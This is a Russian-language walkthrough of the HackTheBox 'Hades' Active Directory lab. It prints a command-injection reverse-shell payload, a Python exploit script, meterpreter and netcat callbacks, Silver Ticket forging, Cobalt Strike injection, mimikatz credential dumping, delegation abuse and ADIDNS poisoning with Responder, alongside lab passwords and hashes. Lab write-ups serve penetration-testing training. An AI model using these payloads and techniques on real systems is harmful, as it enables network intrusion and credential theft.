Как взломать доступный хост а потом и весь домен

В этой статье рассмотрим освоение не просто машины,  а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех этапах атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, поставить под угрозу весь домен, собрав 7 флагов.

Подключение к лаборатории осуществляется через VPN. Не рекомендуется подключаться с рабочего компьютера или с хоста, на котором есть важные для вас данные, поскольку вы находитесь в частной сети с людьми, которые кое-что знают об информационной безопасности.

Вся информация предоставлена ​​только в образовательных целях. Автор этого документа не несет ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных при изучении этого документа.

Intro

Данный endgame состоит из 3 машин, и содержит 7 флагов.

1. Chasm flag — RCE (command injection) + Initial Access;
2. Guardian flag — Enumeration + ASREP Roasting;
3. Messenger flag — Printer Bug + Silver Ticket + Service Control
4. Resurrection flag — Creds Access and Dumping
5. Gateway flag — BloodHound + Control account
6. Celestial flag — ADIDNS + Responder
7. Dominion flag — Lateral Movement

Так же дается описание и адрес доступного хоста.

Chasm flag

Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.

10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис “Certificate Checker”.

Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.

Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.

10.14.14.4:554/$(whoami)

И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:

bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.

На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.

10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)

Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.

Создадим python скрипт.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"
params = {'name': payload}
response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf

Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.

На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.

echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo

Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.

handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321

И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit — быстро и удобно.

 

И сразу в текущей директории находим первый флаг.

Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag

Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.

Из вывода мы узнаем, что находимся в докер контейнере.

Так же находим еще один хост — 192.168.99.1.

Посмотрим информацию о сетевых интерфейсах.

И в своей сети находим еще один хост.

Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.

Далее просканируем два найденных хоста.

Переходя к порту 443 на 192.168.99.1, мы получаем уже знакомый сайт, с которого был сделан вывод, что докер был развернут на 192.168.99.1. Так как на этом хосте больше ничего интересного не нашлось, я перешел на 172.17.0.1. Так как порт 443 там ответил знакомым сайтом, это тот же докер. И мы успешно подключаемся через ssh с учетными данными по умолчанию (docker: tcuser). И сразу переходим к пользователю root.

shell python3 -c 'import pty;pty.spawn("/bin/bash")' ssh docker@172.17.0.1

Ничего не обнаружив, перейдем к последнему варианту — это мониторинг запущенных процессов и трафика. Скопируем собранные pspy и tcpdump на хост. В процессах нет ничего интересного, но в трафике каждые 5 секунд мы обнаруживаем три неизвестных хоста в подсети 192.168.3.0/24.

Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.

/tmp/nmap -sn 192.168.3.0/24

Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.

/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445

И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.

/tmp/nmap -Pn 192.168.3.201-203

Итак, мы определили службы, и теперь мы собираемся создать туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Мы укажем это в модуле Autoroute, а затем проверим, что маршрут был успешно создан.

run autoroute -s 192.168.3.0/24

run autoroute -p

Теперь давайте настроим перенаправитель — socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.

И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.

Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.

proxychains -q cme smb 192.168.3.201-203

Давайте добавим данные записи в /etc/hosts.

192.168.3.201 dev.htb.local

192.168.3.202 web.htb.local

192.168.3.203 dc1.htb.local

После попытки подключиться к разным сервисам ничего не вышло. Но можно пройти по именам пользователей с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить ключ (ключ AS) определенного пользователя kerberos, который будет зашифрован с использованием пароля этого пользователя. И если в учетной записи UAC установлен флаг DONT_REQ_PREAUTH (предварительная аутентификация Kerberos не требуется), сервер вернет нам ключ. Но дело в том, что сервер различает ответ «этот флаг не установлен» и «аккаунт не существует». Затем мы можем перечислить имена пользователей, и если они сообщат нам, что флаг не установлен, мы сделаем вывод, что такая учетная запись существует. Это можно сделать с помощью инструмента GetNPUser, входящего в пакет impacket. Мы используем Username / names.txt из набора SecLists в качестве словаря.

proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt

| grep -v "Client not found in Kerberos database"

Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.

john --wordlist=./tools/rockyou.txt bob.hash

И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.

proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares

И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.

proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R

И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.

proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'

Messenger flag

Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.

enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null

И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local' | grep MS-RPRN

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local' | grep MS-RPRN

proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN

Если существует двустороннее доверие, злоумышленник может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно «неограниченное делегирование». Ошибка приводит к тому, что злоумышленник получает информацию для аутентификации, то есть хэш NTLMv1 учетной записи компьютера.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.

sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):

proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201

proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4

И в окне респондера получаем желаемый хеш.

Нам нужно конвертировать его в NTLM хеш.

python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9

И тут возникли проблемы. Поскольку просмотр ключей DES займет около 150 дней, и я не хотел платить за ресурс crack.sh, но был один человек, который поделился хешем, уже полученным с помощью crack.sh: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам понадобится хэш учетной записи, SID домена, сам домен и имя любого (даже фиктивного пользователя). После создания экспортируем билет.

proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralf export KRB5CCNAME=ralf.ccache

И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'

Проверим конфигурации созданной службы.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10

Запустим ее.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10

Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'

proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11

В листенере наблюдаем успешное подключение.

Таким образом мы захватываем первую из трех целевых машин.

Resurrection flag

Но поскольку это еще не конец, вам нужно закрепиться на машине, для которой вам нужно получить хотя бы несколько рекомендаций. Поскольку мы работаем как локальный администратор, нам нужны только хеши, но такие инструменты, как mimikatz и meterpreter, блокируются антивирусной программой. Чтобы не показывать вам, как по очевидным причинам шифровать полезные данные, я использую простую рабочую нагрузку Cobalt Strike без каких-либо модификаций. Сначала запустим сервер и подключимся к нему.

Теперь необходимо создать листенер.

Вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.

Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.

В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.

Cobalt принимает все команды в потоке, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы обмен данными происходил мгновенно и команды выполнялись потоком, мы вставляем команду sleep 0 и затем сбрасываем хэши.

Ну и в случае чего, мы можем подключиться к хосту через WinRM.

proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86

Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.

Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.

 

И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.

Хост 192.168.3.201 может быть удален из списка, поскольку мы уже записали его, но он упоминается как 10.13.38.17. Проведя разведку на хосте, больше не за что было держаться. Была идея посмотреть хранилище учетных данных для восстановления сохраненных учетных данных, но оба хранилища были пусты.

shell vaultcmd /list

shell vaultcmd /listcreds:"Web Credentials"

shell vaultcmd /listcreds:"Windows Credentials"

В конце концов я дошел до пункта “теневые копии” в своем чеклисте. И тут как раз в точку.

Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.

mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM

Пароль администратора легко находим в онлайн базах.

Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.

Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.

Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.

Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).

mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"

А теперь расшифруем учетный данные.

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"

mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"

Мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag

Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.

Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.

execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d

Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.

Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.

И мы получим следующий граф.

Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.

Мы даже можем получить инструкцию по дальнейшей эксплуатации.ы даже можем получить инструкцию по дальнейшей эксплуатации.

Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.

Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.

New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)

Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.

Get-DomainComputer RalfPC

Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.

$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force $TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.

Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.

Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SID’у созданной нами учетной записи.

$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl

Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.

execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23

Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).

execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt

Проверим локальное хранилище билетов и обнаружим там только что импортированный.

Проверим доступ к веб сервису.

$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode

Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.

powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html" download 1.html

Добавим эти учетные данные в хранилище данных.

Попробуем расширить сеть, поскольку WinRM открыт на компьютере, мы собираемся его использовать. Заходим в список направлений, выбираем нужный нам хост и через контекстное меню открываем дополнительное окно -> Goto -> winrm64. Выберите remote_user из списка и создайте новый прослушиватель SMB.

И после подключения видим новую захваченную машину, правда без прав админа.

И как знак пройденного этапа, забираем еще один флаг.

Celestial flag

Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.

Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize

Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.

Давайте создадим дамп трафика с помощью tshark.

tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Мы не нашли никаких учетных данных, поэтому давайте углубимся в анализ и откроем этот файл в Wireshark на локальном компьютере. Мы нашли обращение к трем интересным доменам. Но по ним нет никаких записей.

Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.

Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.

Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose

Атака выполнена успешно. Проверим это.

Nslookup db1.htb.local 192.168.3.203

Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.

sudo responder -I tun0 -wrf

Давайте перебирать данный хеш.

hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1

У нас есть пароль администратора. Попробуем использовать его для подключения. Как всегда, мы сначала добавляем в хранилище учетных данных, затем создаем еще один SMB Beacon и подключаемся к веб-узлу через psexec64.

Наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.

Забираем флаг администратора, как подтверждение еще одного пройденного этапа.

Dominion flag

Тут я вернулся к keepass. Найдем все, что его касается.

powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.

В файле пользователя находим упоминание о базе kdbx, которая отсутствует.

Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.

Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.

Забираем последний флаг.

Вот и вся работа по компрометации всего домена и доступного хоста. Все не так уж сложно не правда ли? Хочу еще раз напомнить что статья создана для тех кто занимается ИБ.Ведь если ты знаешь способы нападения то намного легче определить способ защиты.По крайней мере так работают все современные антивирусы.